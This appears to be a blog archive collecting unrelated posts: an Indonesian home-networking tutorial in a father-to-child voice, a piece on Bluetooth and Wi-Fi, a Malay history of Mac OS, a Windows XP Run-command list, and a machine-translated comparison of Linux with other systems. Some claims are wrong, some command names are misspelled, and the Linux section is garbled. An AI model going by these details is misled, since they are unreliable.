Berarti PC server mempunyai tugas dua kali lebih banyak dari PC client. Jika clientnya sedikit, mungkin tidak terlalu menjadi persoalan. Namun bagaimana jika clientnya sangat banyak? Untuk itulah ada yang dinamakan Dedicated Server. Dedicated server adalah komputer yang dibuat dan disediakan khusus untuk menjadi server. Komputer ini biasanya hanya digunakan sebagai pengatur berbagai sumberdaya yang terdapat di dalam jaringan.

Karena mempunyai tugas yang berat, maka Dedicated Server biasanya juga didesain agar mampu menjalankan pekerjaan-pekerjaan tersebut. Karena itulah dedicated server ini biasanya mempunyai sumberdaya yang lebih banyak jika dibandingkan dengan PC client. Misalnya, dedicated server mempunyai memory yang lebih banyak, hardisk atau media penyimpan yang lebih besar, CPU atau Processor yang lebih cepat, dll.

Nduk... jadi sekarang koe sudah bisa memperkiraken, server seperti apa yang kira-kira bakal koe perlukan. Hal ini bisa Koe ketahui dari seberapa besar jaringan yang akan koe buat, dari situ koe bisa memperkiraken seberapa banyak tugas yang akan dijalankan oleh server.

Dengan begitu koe tidak perlu menghambur-hamburkan uang untuk membeli super computer untuk dijadikan server, jika jaringan yang koe buat relatif kecil. Atau koe juga tidak perlu heran dan pusing jika server yang koe sediaken sering ngambek karena kebanyakan kerjaan. Nah.. bapak rasa koe sudah cukup mengerti mengenai server ini, sekarang bapak akan melanjutkan network hardware selanjutnya, yaitu:

Network Interface Card

Network Interface Card (NIC) ato kalo boleh kita Indonesiaken berarti Kartu Antarmuka Jaringan adalah perangkat yang berfungsi menghubungkan setiap PC yang ada didalam jaringan. Network Card ini berfungsi mengubah sinyal-sinyal yang dikirimkan kedalam jaringan, dan mengubahnya atau menerjemahkannya kedalam bahasa yang dimengerti oleh perangkat komputer lainnya.



Setiap PC atau komputer yang ingin terhubung ke jaringan, harus mempunyai Network Card atau kartu jaringan ini. Tanpa kartu ini, komputer tersebut ndak akan bisa masuk kedalam jaringan. Koe bisa mengadaikan kartu jaringan ini seperti karcis untuk masuk kedalam bioskop.

Untuk bisa menonton Film dibioskop, koe harus mempunyai karcis masuk. Nah... dalam jaringan komputer, network card bisa di samaken dengan karcis itu.


Dimana kartu jaringan atawa network card ini berada? Seperti apa bentuknya? Dimasa-masa awal dunia per-network-an, kartu ini bisanya di jual terpisah. Dahulu kala, saat bapak mu ini masih belia, jika ingin membuat jaringan, maka bapak harus membeli network card ini untuk setiap PC yang akan dihubungkan.

Tapi, syukurlah nduk. Koe sekarang ndak perlu repot-repot seperti itu lagi. Sekarang, setiap PC keluaran baru, biasanya sudah menyertaken network card ini. Entah network card itu yang colokin ke slot di motherboard, atau ditempatkan secara langsung kedalam motherboard atau istilahnya Built-In, pokoke koe sekarang tinggal pake, ndak perlu beli lagi. Untuk itu juga nduk, kan sayang jika fasilitas itu tidak digunaken.

Network Cable

Network hardware yang ketiga adalah kabel. Kabel ini digunakan sebagai jalur penghubung. Kabel jaringan berfungsi sama seperti kabel-kabel dalam perangkat elektronik lainnya.

Kabel ini yang menghubungkan antara network card yang satu dengan network card atau perangkat network lainnya, misalnya Hub, repeater, reuter, bridges, dll. Don't worry nduk, nanti bapak juga akan menceritakan mengenai perangkat-perangkat tersebut.

Selain kabel, tentu saja ada cara lain untuk membuat jaringan. Jaringan tanpa kabel ini biasanya disebut wireless. Sabar ya nduk.. kita juga akan membahas mengenai wireless ini lebih detil pada episode terpisah.

Netwok cable yang populer digunakan saat ini adalah Unshielded Twisted-Pair Cable atau bisa juga disingkat UTP cable. Kabel ini mirip dengan kabel telepon, namun mempunyai bentuk yang lebih besar. Untuk lebih jelasnya, koe bisa lihat gambar yang di buat dibawah ini:







Network Hub dan Switch

Apa itu Network Hub? Dan mengapa Hub diperlukan? Pertanyaan yang bagus nduk... Network Hub adalah perangkat yang digunakan untuk menghubungkan beberapa PC kedalam suatu jaringan. Masih ingat mengenai Star Topology? Kalo koe lupa, coba koe lihat kembali catatan koe, dan lihat gambar yang ada disono.

Seperti yang koe lihat pada gambar Star Topology itu nduk, HUB digunakan untuk menghubungkan beberapa PC kedalam suatu jaringan. Berapa banyaknya PC yang bisa terhubung, tergantung dari berapa banyak lubang atau slot yang disediakan oleh Hub yang dipergunakan, koe bisa memilihnya berdasarkan keperluan. Misalnya koe ingin menghubungkan 2 buah PC saja, maka koe cukup mencari Hub yang menyediakan 2-4 slot saja.


Pada jaman dahulu kala.. nduk, saat dimana bapak waktu itu masih muda belia, gagah dan berwibawa, tampan dan perkasa, serta banyak pengagumnya... jaman itu dimana networking masih terbilang hal yang baru, network hub ini termasuk salah satu perangkat yang relatif mahal.

Dan karna kemahalannya itu, sehingga... masih jarang orang yang menggunakan Hub untuk network dalam skala yang relatif kecil. Pada jaman itu orang masih menggunakan peralatan alternatif untuk menghindari keharusan membeli hub yang masih sangat mahal. Dan karena itu kabel yang digunakan untuk membuat jaringan pun berbeda dengan kabel yang banyak digunakan saat ini.. nduk.

Kabel yang digunakan saat itu dinamakan Coaxial Cable. Coaxial cable ini jika dilihat sepintas maka akan tampak mirip dengan kabel untuk antena TV. Yup, karena diujung kabel menggunakan connector yang dinamakan BNC connector. Untuk lebih jelasnya, koe bisa lihat gambar di bawah ini nduk.


Namun, akan tetapi, however nduk... jika koe menggunakan kabel jenis coaxial ini, memang koe bisa menghindari harga Hub yang dahulu masih sangat mahal, akan tetapi nduk, kabel ini hanya bisa digunakan untuk network dengan topology bus atau bus topology.... coba koe lihat lagi mengenai bus topologi ini di episode sebelumnya.

Namun sekarang, harga hub sudah sangat jauh lebih murah nduk. Dengan hanya bermodalkan Rp. 200-300 saja, koe sudah bisa mendapatkan sebuah Hub. Harga tentu saja tergantung dari Merk, banyak nya port yang tersedia, dan di toko mana koe membeli Hub tersebut.

Nduk... opo koe wis mangan? Ok.. nduk... mungkin koe sudah tidak sabar ingin bertanya tentang switch. Bagaimana dengan network switch? Ketahui lah nduk... switch itu sebenarnya mirip bahkan mungkin sama dengan Hub. Namun tentu saja ada perbedaannya.

Swicth mempunyai beberapa kelebihan dari Hub. Bisa dibilang, network switch itu adalah pengembangan dari Network Hub. Apa saja perbedaannya? Untuk lebih detailnya mungkin akan kita bahas di artikel yang khusus mengenai hal itu ya nduk.

Nah... sampai disini berarti kita sudah membahas beberapa network hardware yang merupakan kebutuhan minimum untuk membangun sebuah jaringan komputer atau networking computer. Sebenarnya masih banyak lagi network hardware yang lainnya. Namun untuk jaringan dengan skala yang relatif kecil, peralatan yang terdapat dalam artikel ini sudah cukup memadai.

Jika koe sudah mempunyai semua bahan yang terdaftar disini, bapak rasa koe sudah siap untuk membuat sebuah jaringan komputer, entah itu untuk di rumah dengan 2-8 komputer, atau untuk jaringan yang agak besar, misalnya sebuah warnet dengan beberapa puluh komputer.

Eh... jadi ke ingitan warnet. Betul nduk... dengan mempelajari mengenai cara membuat jaringan komputer ini, nantinya koe bakal bisa membuat jaringan untuk sebuah warnet. Siapa tahu nanti koe dapet modal untuk membuka usaha warnet koe sendiri.

Nduk... kalo koe sudah mengerti cara membuat jaringan komputer koe sendiri, itu akan menghemat biaya yang perlu koe keluarkan. Dari pada koe harus membayar orang lain untuk membuatkan jaringan komputer yang koe perlukan, bukankah akan lebih baik jika duit itu koe kasihken ke bapak mu ini (hehehhe, si bapak menyindir sambil nyengir).

Disamping itu nduk, siapa tahu koe bisa cari duit dengan cara membuatkan jaringan komputer untuk orang lain. Siapa tahu ada orang yang membutuhkan jasa koe, dan rela membayar koe untuk membuatkan jaringan komputer yang diperlukannya. Itulah sebabnya nduk... bapak kepingin koe belajar tentang networking ini, banyak sekali manfaat yang bakal koe dapat.




Wireless Area Network Teknologi Makin Meluas

DALAM dunia informasi-komunikasi (Infokim), dikenal istilah area network, merupakan daerah cakupan dari jaringan (network) informasi komunikasi. Kita mengenal Local Area Network (LAN) yang mencakup area kecil seperti sebuah bangunan pencakar langit, kampus, hotel, bandar udara dll.
Untuk cakupan yang luas, Wide Area Network (WAN) atau disebut Metropolitan Area Network (MAN). Selain itu ada juga Personal Area Network (PAN) yang membentuk jaringan terkecil terdiri dari berbagai peralatan electronik dan telekomunikasi dalam suatu ruangan yang sifatnya orang per orang yang lebih mobile.

Saat ini telah berkembang teknologi wireless untuk area network yang langsung bersentuhan dengan orang per orang yaitu PAN dan LAN. Teknologi ini sangat membantu menunjang menjaga tingkat produktivitas.

Untuk wireless PAN (WPAN) dikenal teknologi nirkabel Bluetooth yang mengintegrasikan hampir seluruh Scandinavia. Untuk wireless LAN (WLAN) dikenal teknologi wireless-fidelity (Wi-Fi). Keduanya memanfaatkan berbagai macam teknologi diantaranya adalah:

1. Teknologi narrow-band. Sistim radio dipancarkan dan diterima dalam frekwensi tertentu (tunggal). 2. Teknologi spread-spectrum. Disamping dipancarkan melalui frekwensi tunggal, informasi dipancarkan simultan dalam suatu spektrum frekwensi dan saat ini menggunakan spektrum 2.4 GHz yang tidak diregulasikan.

3. Teknologi frequency-hopping spread-spectrum (FHSS). Karena dipancarkan dalam suatu spread-spectrum, maka terjadi perubahan frekwensi dari waktu ke waktu sesuai pola tertentu (fixed pattern). 4. Teknologi direct-sequence spread-spectrum (DSSS). Redundant bits yang ada dipancarkan dalam spektrum frekwensi yang sama, menjadikan sistim lebih reliable.

Bluetooth

Teknologi ini akan menggantikan penggunaan kabel dan infra merah yang selama ini dipakai menghubungkan personal computer (PC) dengan printer lokal atau antara sebuah DVD player dan suatu sistim musik atau antara PC dan personal digital assistance (PDA).

Teknologi ini lahir dari hasil kolaborasi antara teknologi komunikasi dan teknologi komputasi. Dengan makin mobile-nya manusia, maka vendor komputer berusaha menciptakan komunikasi wireless ke area network.

Namun timbul masalah karena ada berbagai standar (digital) pada WAN yang dapat dipakai untuk wireless data. Daripada merancang komputer yang dapat bekerja dengan setiap wireless interface card atau modem dalam berbagai frekwensi, lebih sederhana merancang solusi single-radio dalam komputer yang kemudian disebut dengan Bluetooth.

Koneksi nir kabel dan nir infra merah ini dapat dilakukan dalam sistim one-to-one atau one-to-many basis dan mengatur jaringan kecil dalam jangkauan radius 10 meter-an yang disebut dengan pico net. Beberapa pico nets dapat berkomunikasi satu dengan yang lain dalam batas-batas tertentu dan membentuk scatter net.

Chip bluetooth dapat ditanam dalam berbagai peralatan elektronik dan komunikasi dan harganya cukup terjangkau. Bahkan bila sudah diproduksi massal akan berharga USD 5. Kecepatan data yang dapat ditunjang maksimum antara 721 KBps 1 MBps, sehingga setiap pico net dapat melayani 3 kanal suara atau 7 kanal data.

Apabila teknologi bluetooth ini sudah luas dipakai, maka revolusi connection to the home akan segera terwujud. Sebuah PC dapat mengontrol peralatan elektronik di dalam rumah dari televisi sampai dengan oven (tentu saja yang berkemampuan bluetooth).

Wi-Fi

Kalau PAN dapat dibuat wireless, maka teknologi Wi-Fi juga membuat LAN beroperasi secara wireless. Wi-Fi menjawab kebutuhan manusia yang mobile untuk selalu dapat mengakses data melalui wireless LAN.

Wi-Fi, dikenal dengan standar IEEE 802.11b, mulai luas dioperasikan dan beberapa operator di Amerika Serikat mengope-rasikannya secara hot spot di berbagai lokasi seperti Bandar udara, kampus, hotel, coffee shop dll. Wi-Fi sendiri masih mengandung beberapa kelemahan seperti:

1. Standard 802.11b pada 2.4 GHz hanya dapat dioperasikan untuk 3 kanal sekaligus untuk tidak saling mengganggu di suatu lokasi. Kelemahan ini mungkin teratasi, bila terjadi migrasi ke standar yang lebih tinggi yaitu 802.11a pada spektrum 5 GHz.

2. Wi-Fi juga mengakomodasi limit mobility karena tidak seperti jaringan seluler yang menyediakan seamless transfer dari satu based station ke lainnya. Namun tidak begitu menjadi masalah, karena pengguna lap top biasanya diam di suatu tempat tetapi menjadi masalah bagi pengguna pocket PC atau PDA handheld.

3. Masalah security juga menjadi isu, karena percobaan menunjukan enkripsi terketatnya pun (128-bit encryption) dapat dengan mudah ditembus. Namun demikian yang perlu diperhatikan juga adalah beberapa manfaatnya seperti:

1. Kecepatan pengiriman datanya adalah 11 MBps atau 200 kali lebih cepat dari dial-up modem dan 5 kali lebih cepat dari kecepatan maksimum telepon seluler 3G.

2. Karena nirkabel, teknologi ini sangat ideal untuk lingkungan kerja yang lay out-nya selalu berubah dan juga untuk menunjang mobilitas dalam mengakses data pada area yang luas.

3. Teknologi ini sangat scalable, karena dapat diperluas dengan memanfaatkan wireless LAN untuk berinterkoneksi dengan wireless LAN yang lain.

Yang menarik dari beberapa operator yang menawarkan Wi-Fi adalah menghubungkannya dengan backbone network, melalui network access point (NAP). Hal ini dapat menyaingi operator telekomunikasi yang menawarkan akses melalui dial-up modem atau DSL modem atau operator cable-TV dengan akses data kecepatan tinggi melalui cable modem.


Mac OS dan Sejarahnya

Mac OS, yang bererti Macintosh Operating System, atau Sistem Pengoperasi Macintosh, adalah sistem pengoperasi komputer Apple untuk komputer Apple Macintosh. Mac OS merupakan sistem pengoperasian pertama yang menggunakan antarmuka pengguna grafik (Graphical User Interface -- GUI). Pasukan Macintosh termasuk Bill Atkinson, Jef Raskin dan Andy Hertzfeld.

Terdapat pelbagai pandangan bagaimana Macintosh dibangunkan dan di mana ide asal bermula. Walaupun kaitan antara Macintosh dan projek Alto di Xerox PARC telah luas diperkatakan dalam rekod sejarah, sumbangan awal Sketchpad oleh Ivan Sutherland dan Sistem di Talian (On-Line System) oleh Doug Engelbart tidak kurang pentingnya. Lihat Sejarah GUI, dan Apple v. Microsoft.

Apple sengaja merendahkan kewujudan sistem pengoperasi pada tahun awal kemunculan Macintosh untuk menjadikan Macintosh kelihatan lebih ramah pengguna dan membezakannya daripada sistem lain seperti MS-DOS, yang digambarkan sebagai ajaib (arcane) dan mencabar secara teknikal. Apple mahu Macintosh digambarkan sebagai sistem yang “terus berfungsi” apabila anda menghidupkannya.
Versi

Sistem Operasi Macintosh pada awalnya dikenali sebagai Sistem, seperti “Sistem 6.0.7″ atau “Sistem 7“. Pada awalnya juga dikenali sebagai Kotak Perkakasan “Toolbox”; yang mengandungi himpunan rutin piawaian yang boleh digunakan bagi menggantikan pautan kepada perkakasan komputer itu sendiri.

Pengabstrakan ini yang membenarkan applikasi Mac ditulis untuk satu generasi sistem digunakan pada generasi berikutnya, sebagai contoh: dari Mac Plus kepada Mac II, kepada PowerBook, kepada Power Macintosh. Pada awalnya Apple sengaja mengaburkan kewujudan sistem operasi ini bagi membezakan Mac daripada sistem lain seperti MS-DOS, yang digambarkan sebagai lebih sukar digunakan berbanding Mac. Istilah seperti “sistem” dan “kotak perkakasan (the toolbox)” merupakan cara mudah untuk merujuk kepada perkhidmatan sistem operasi dan Macintosh API seterusnya mengelakkan penggunaan istilah teknikal (technical jargon). Sehingga kemunculan era sistem G3 (yang dikenali sebagai mesin “dunia baru”), sebahagian besar sistem disimpan dalam ROM fizikal pada papan induk, dan juga komponen sistem pada cakera yang menambah, mengesampingkan (override)atau memperbaiki rutin ROM. Tujuannya ialah untuk mengelakkan penggunaan terlalu banyak ruang simpanan dalam cakera liut yang terhad untuk sistem sokongan, kerana komputer Mac yang terawal tidak mempunyai cakera keras. Sebenarnya cuma satu model Mac yang boleh dijalankan (bootable) menggunakan ROM sahaja, iaitu model Mac Klasik 1991.

Sistem 7.5.1 merupakan sistem pertama yang memasukkan logo Mac OS (muka tersenyum (smiley face) biru). Mac OS 7.6 (yang dikeluarkan pada 1996) merupakan sistem pertama yang dinamakan Mac OS kerana wujudnya “klon-klon” Mac, sistem yang hampir serupa daripada syarikat-syarikat lain seperti Power Computing dan Motorola, dan Apple hendak memberitahu dengan jelas bahawa sistem operasiannya merupakan hak milik intelektualnya sendiri.

Sistem Mac OS boleh dibahagikan kepada dua jenis:
Mac OS “Klasik”, sistem yang mula-mula dikeluarkan untuk Mac yang pertama pada tahun 1984 hinggalah Mac OS 9.
Mac OS X (huruf “X” itu disebut sepuluh, iaitu nombor Roman) yang lebih baru. Mac OS X memasukkan unsur-unsur BSD Unix, OpenStep, dan Mac OS 9. Sistem tahap rendah asasnya, Darwin yang berasaskan Unix, merupakan sumber terbuka.

Mac OS Klasik

Mac OS klasik dikenali sebagai satu sistem yang tidak mempunyai sebarang baris perintah (command line); merupakan sistem yang menggunakan antara muka pengguna grafik (IU) sepenuhnya. Dipuji kerana senang untuk digunakan, sistem ini juga dikritik kerana menggunakan kerjasama multitugas (cooperative multitasking), ketiadaan pengurusan ingatan, dan kecenderungan pertelingkahan tambahan/sambungan. “Tambahan” adalah perisian yang ditambah kepada sistem pengoperasi, untuk memberikan fungsi tambahan - seperti rangkaian kerja (networking) - atau sokongan kepada perkakasan tertentu. Sesetengah sambungan tambahan mungkin tidak akan berfungsi dengan betul antara satu sama lain atau mungkin perlu ditambah mengikut urutan tertentu. Menyelesaikan masalah tambahan Mac OS boleh menjadi satu proses cuba jaya yang memakan masa yang panjang.

Mac OS juga memperkenalkan Sistem Fail Hierarki (Hierarchical File System), sebagai satu cara inovatif penyususnan fail. Satu fail pada DOS atau Unix merupakan jujukan bait (byte), yang memerlukan aplikasi mengetahui bahagian bait mana yang mewakili kod dan bahagian mana yang mewakili grafik atau data yang lain, Fail Mac mempunyai dua bahagian yang berlainan. Sebagai tambahan kepada cuaran data, yang merupakan ulangan bait, terdapat juga akar cuaran resource fork yang mengandungi data yang sudah disusun seperti menu, grafik, bunyi, dan segmen kod. Satu fail applikasi mungkin hanya mempunyai sumber yang tidak mengandungi bahagian data. Fail teks mungkin mengandungi teks dalam bahagian data dan maklumat stail pada sumbernya, jadi applikasi yang tidak mengenal maklumat stail tersebut masih boleh membaca teks yang disimpan. Walaupun kaedah ini mempunyai beberapa kelebihan, Mac OS tidak dapat digunakan bersama-sama sistem-sistem pengoperasian lain yang tidak menggunakan sistem Mac OS; contohnya, apabila sesuatu fail disalin daripada Mac kepada DOS atau Unix, akar cuarannya akan dibuang.

Menjelang akhir 1990-an, telah disedari bahawa teknologi era 1980-an ini telah melangkaui hayatnya, dengan kewujudan sistem-sistem pengoperasian multitugas baru yang lebih stabil.

Mac OS X

Rencana utama: Mac OS X

Mac OS X mambawakan pengurusan memori ala-Unix dan pre-emptive multitasking kepada platform Mac. Pengurusan memori yang jauh lebih baik membolehkan lebih banyak perisian berjalan serentak dan hampir menghapuskan kemungkinan sesuatu perisian meruntuhkan perisian lain. Ia juga adalah Mac OS petama memasukkan baris arahan, walaupun tidak dapat dilihat kecuali apabila penggunanya melancarkan perisian “terminal”.

Ramai peminat Mac OS asal menerima OS X, tetapi terdapat beberapa yang mengkritiknya sebagai lebih susah dan kurang mesra pengguna daripada Mac OS asal.

Teknologi Mac OS
QuickDraw: model pengimej imaging model yang pertama memberikan pasaran pukal WYSIWYG
Finder: antaramuka untuk melayari filesystem dan melancarkan applikasi
MultiFinder: versi pertama yang menyokong menjalankan lebih dari satu perisian secara serentak
Chooser: perkakasan untuk mencapai network resources (contoh: mengaktifkan AppleTalk)
ColorSync: teknologi untuk memastikan pemadanan warna yang sesuai
Pengurusan ingatan OS Mac: bagaimana Mac menguruskan RAM dan ingatan maya sebelum bertukar kepada UNIX
Pengemulasian Motorola 68000 oleh PowerPC: bagaimana Mac menangani transisi arkitektural daripada CISC kepada RISC (lihat emulator Mac 68K)
Desk Accessories: perisian kecil “helper” yang boleh dijalankan seiring dengan sebarang perisian lain, sebelum munculnya MultiFinder atau System 7.
PlainTalk: teknologi sintesis pertuturan and pengecaman pertuturan
Mac-Roman : set aksara

Projek Star Trek

Satu aspek sejarah yang menarik mengenai Mac OS Klasik ialah: ianya merupakan satu prototaip rahsia yang tidak diketahui umum yang dimulakan Apple pada tahun 1992 yang diberi nama kod Project Star Trek. Matlamat projek ini ialah untuk mencipta versi Mac OS yang boleh berfungsi pada komputer peribadi serasi-Intel x86. Projek ini tidak bertahan lama, ianya dibatalkan hanya selepas setahun iaitu pada 1993 kerana pertelingkahan politik dalaman. Walaupun begitu, pasukan projek ini berjaya menjadikan perisian seperti Macintosh Finder dan applikasi asas seperti Quicktime berfungsi secara lancar pada PC.

Walaupun perisian Star Trek tidak pernah dilancarkan, emulator pihak-ketiga Macintosh, seperti vMac, Basilisk II, dan Executor, akhirnya menbolehkan kemungkinan menjalankan Mac OS Klasik pada komputer peribadi x86. Emulator-emulator ini terhad mengemulasikan barisan pemproses 68000, dan dengan demikian tidak dapat menjalankan versi Mac OS yang lebih terkini daripada 8.1 yang memerlukan pemprosesor PowerPC. Mutakhir ini, emulator seperti Pear PC telah muncul yang mampu mengemulasikan pemproses PowerPC yang diperlukan oleh versi terkini Mac OS (seperti Mac OS X). Walaubagaimanapun, ianya masih di peringkat awal dan seperti emulator-emulator lain, cenderung untuk berjalan lebih perlahan daripada OS natif.

beritanet.com


Nov 18, 2008

Program Run Command



Accessibility Controls = access.cpl

Accessibility Wizard = accwiz

Add Hardware Wizard = hdwwiz.cpl

Add/Remove Programs = appwiz.cpl

Administrative Tools = control admintools

Adobe Acrobat ( if installed ) = acrobat

Adobe Distiller ( if installed ) = acrodist

Adobe ImageReady ( if installed ) = imageready

Adobe Photoshop ( if installed ) = photoshop

Automatic Updates = wuaucpl.cpl

Basic Media Player = mplay32

Bluetooth Transfer Wizard = fsquirt

Calculator calc Ccleaner(if installed) = ccleaner

C: Drive = c:

Certificate Manager = cdrtmgr.msc

Character Map = charmap

Check Disk Utility = chkdsk

Clipboard Viewer = clipbrd

Command Prompt = cmd

Command Prompt = command

Component Services = dcomcnfg

Computer Management = compmgmt.msc

Compare Files = comp

Control Panel = control

Create a shared folder Wizard = shrpubw

Date and Time Properties = timedate.cpl

DDE Shares = ddeshare

Device Manager = devmgmt.msc

Direct X Control Panel ( if installed ) = directx.cpl

Direct X Troubleshooter = dxdiag

Disk Cleanup Utility = cleanmgr

Disk Defragment = dfrg.msc

Disk Partition Manager = diskmgmt.msc

Display Properties = control desktop

Display Properties = desk.cpl

Display Properties(w/Appearance Tab Preselected ) = control color

Dr. Watson System Troubleshooting Utility = drwtsn32

Driver Verifier Utility verifier Ethereal(if installed) = ethereal

Event Viewer = eventvwr.msc

Files and Settings Transfer Tool = migwiz

File Signature Verification Tool = sigverif

Findfast = findfast.cpl

Firefox = firefox

Folders Properties = control folders

Fonts = fonts

Fonts Folder = fonts

Free Cell Card Game = freecell

Game Controllers = joy.cpl

Group Policy Editor ( xp pro ) = gpedit.msc

Hearts Card Game = mshearts

Help and Support = helpctr

Hyperterminal = hypertrm

Hotline Client = hotlineclient

Iexpress Wizard = iexpress

Indexing Service = ciadv.msc

Internet Connection Wizard = icwonn1

Internet Properties = inetcpl.cpl

Internet Setup Wizard = inetwiz

IP Configuration = ipconfig /all

IP Configuration (Display DNS Cache Contents) = ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents) = ipconfig /flushdns

IP Configuration (Release All Connections) = ipconfig /release

IP Configuration (Renew All Connections) = ipconfig /renew

IP Config (Refreshes DHCP & Re-Registers DNS) = ipconfig /registerdns

IP Configuration (Display DHCP Class ID) = ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID) = ipconfig /setclassid

Java Control Panel ( if installed ) = picpl32.cpl

Java Control Panel ( if installed ) = javaws

Keyboard Properties = control keyboard

Local Security Settings = secpol.msc

Local Users and Groups = lusrmgr.msc

Logs You Out of Windows = logoff

Malicious Software Removal Tool = mrt

Microsoft Access ( if installed ) = access.cpl

Microsoft Chat = winchat

Microsoft Excel ( if installed ) = excel

Microsoft Diskpart = diskpart

Microsoft Frontpage ( if installed ) = frontpg

Microsoft Movie Maker = moviemk

Microsoft Management Console = mmc



Microsoft Narrator = narrator

Microsoft Paint = mspaint

Microsoft Powerpoint = powerpnt

Microsoft Word ( if installed ) = winword

Microsoft Syncronization Tool = mobsync

Minesweeper Game = winmine

Mouse Properties = control mouse

Mouse Properties = main.cpl

MS-Dos Editor = edit

MS-Dos FTP = ftp

Nero ( if installed ) = nero

Netmeeting = conf

Network Connections = control netconnections

Network Connections = ncpa.cpl

Network Setup Wizard = netsetup.cpl

Notepad = notepad

Nview Desktop Manager ( if installed ) = nvtuicpl.cpl

Object Packager = packager

ODBC Data Source Administrator = odbccp32

ODBC Data Source Administrator = odbccp32.cpl

On Screen Keyboard = osk

Opens AC3 Filter ( if installed )= ac3filter.cpl

Outlook Express = msimn

Paint = pbrush

Password Properties = password.cpl

Performance Monitor = perfmon.msc

Performance Monitor = perfmon

Phone and Modem Options = telephon.cpl

Phone Dialer = dialer

Pinball Game = pinball

Power Configuration = powercfg.cpl

Printers and Faxes = control printers

Printers Folder= printers

Private Characters Editor = eudcedit

Quicktime ( if installed ) = quicktime.cpl

Quicktime Player ( if installed ) = quicktimeplayer

Real Player ( if installed ) = realplay

Regional Settings = intl.cpl

Registry Editor = regedit

Registry Editor = regedit32

Remote Access Phonebook = rasphone

Remote Desktop = mstsc

Removable Storage = ntmsmgr.msc

Removable Storage Operator Requests = ntmsoprq.msc

Resultant Set of Policy ( xp pro ) = rsop.msc

Scanners and Cameras = sticpl.cpl

Scheduled Tasks control= schedtasks

Security Center = wscui.cpl

Services = services.msc

Shared Folders = fsmgmt.msc

Sharing Session = rtcshare

Shuts Down Windows = shutdown

Sounds Recorder = sndrec32

Sounds and Audio = mmsys.cpl

Spider Solitare Card Game = spider

SQL Client Configuration = clicongf

System Configuration Editor = sysedit

System Configuration Utility = msconfig

System File Checker Utility ( Scan Immediately ) = sfc /scannow

System File Checker Utility ( Scan Once At Next Boot ) = sfc /scanonce

System File Checker Utility ( Scan On Every Boot ) = sfc /scanboot

System File Checker Utility ( Return to Default Settings) = sfc /revert

System File Checker Utility ( Purge File Cache ) = sfc /purgecache

System File Checker Utility ( Set Cache Size to Size x ) = sfc /cachesize=x

System Information msinfo32 System Properties = sysdm.cpl

Task Manager = taskmgr

TCP Tester = tcptest

Telnet Client = telnet

Tweak UI ( if installed ) = tweakui

User Account Management = nusrmgr.cpl

Utility Manager utilman

Volume Serial Number for = C: label

Volume Control = sndvol32

Windows Address Book = wab

Windows Address Book Import Utility = wabmig

Windows Backup Utility ( if installed ) = ntbackup

Windows Explorer = explorer

Windows Firewall = firewall.cpl

Windows Installer Details = msiexec

Windows Magnifier = magnify

Windows Management Infrastructure = wmimgmt.msc

Windows Media Player = wmplayer

Windows Messenger = msnsgs

Windows Picture Import Wizard (Need camera connected) = wiaacmgr

Windows System Security Tool = syskey

Windows Script host settings = wscript

Windows Updte Launches = wupdmgr

Windows Version ( shows your windows version ) = winver

Windows XP Tour Wizard = tourstart

Wordpad = write

Zoom Utility = igfxzoom



Oct 31, 2008

Differences Comparison of Linux and other OS

Linux fundamental differences.

One of the things that differentiate the Linux operating system to another is the price. Linux is cheaper and can be distributed and back without having to pay fees or royalties to someone. But there are other things besides the main consideration is the price of the source code. Linux source code is available for all people so that everyone can be involved directly in development.
This freedom has allowed the vendor to make the device drivers for hardware devices without having to obtain a specific license source code that expensive or sign Non Disclosure Agreement (NDA). And it also provides the possibility for everyone to see in a real operating system and commercial quality. Because Linux is freely available on the internet, various vendors have created a package distrbusi that can be considered as a packaged version of Linux. Package includes a full Linux environment, pernagkat software for installation and may include special software and special support.

Comparison of the Linux operating system other.

Based on standard Linux operating system POSIX derived based on the actual function of the working UNIX. UNIX is compatible with Linux on the level of the system call, this means that most programs written for UNIX or Linux can run on direkompilasi and other systems with minimal changes. In general can
said Linux is running faster than other UNIX hardware on the same. UNIX and again have the weakness that is not free.
MS-DOS have a similarity with the Linux file system that is hierarchical. But MS-DOS can only run on x86 processors and does not support multi-user and multi-tasking, and not free. MSDOS also does not have the support of the good that can berinteroperasi with other operating systems, including the unavailability of network software, the program developers and utility programs that exist in Linux.1
MSWindows offers graphical capabilities that are included in the Linux networking capabilities but still have shortcomings in the existing MS-DOS. Windows NT is also available for the Digital Alpha processor, other than the x86. However, Windows NT is still also has some shortcomings in the existing MS-DOS.Waktu to find a bug in a system
This operation is not comparable to the price that must be paid.
Operating system for Apple Macintosh can only run on the Mac system. Also has a shortage of the availability of tools developers (development tool) and also may be less easy to berintoperasidengan other operating systems. Apple has also allows Linux can run on the PowerMac.

Linux

INTRODUCTION LINUX

The word "Linux" for now is not the place for internet users and communities that have hobbies students to try new software. Technically, short and can be said, Linux is an operating system that is multi-user and multi-tasking, which can run on multiple platforms including the Intel 386 processor or higher. This operating system to POSIX standard. Linux can be a good berinteroperasi with other operating systems, including Apple, Microsoft and Novell.
Linux name itself derived originally from the creator, Linus Torvalds, referring to the fact that a complete set of software that, together with the kernel compile a complete operating system. This operating system environment includes hundreds of programs, including compilers, interpreters, editors and utilities. Tools that support connectivity, Ethernet, PPP and SLIP, and interoperability. Software products that are reliable (reliable), including the development of the last version. Group of developers who are spread throughout the world who have worked to make Linux and portable to a new platform, also supports the community so that users have different needs and users can also participate and act as their own team of developers.


History of Linux.

Linux was initially created by a Finnish student named Linus Torvalds. Former Linux project is a hobby that diinspirasikan from Minix, a small UNIX system developed by Andrew Tanenbaum. 0:01 Linux version is done around August 1991. Then, on 5 October 1991, Linus announced the official version of Linux, the version that can only 0:02 to run bash shell (GNU Bourne Again Shell) and gcc (the GNU C Compiler). Currently, Linux is a UNIX system is complete, can be used for the network, software development and even for the day-to-day work. Linux is an alternative operating system that is much cheaper if compared with commercial operating systems (such as Windows 9.x/NT/2000/ME). Linux has a very rapid development. This is made possible because Linux is developed by a diverse group of people. These include the level of knowledge, experience and geography. So that these groups can communicate quickly and efficiently, the Internet becomes a very appropriate choice. Because the Linux kernel developed by the independent business, many applications available, for example, using gcc C compilers of the Free Software Foundation's GNU Project. Compilers are widely used in environmental Hewlett-Packard and Sun.
Today, many Linux applications that can be used for purposes such as offices for the spreadsheet, word processor, database and graphics editor program that has the look and function like Microsoft Office, the Star Office. In addition, there are versions available for Linux and Corel applications such as Matlab, which is known as the Linux Scilab.
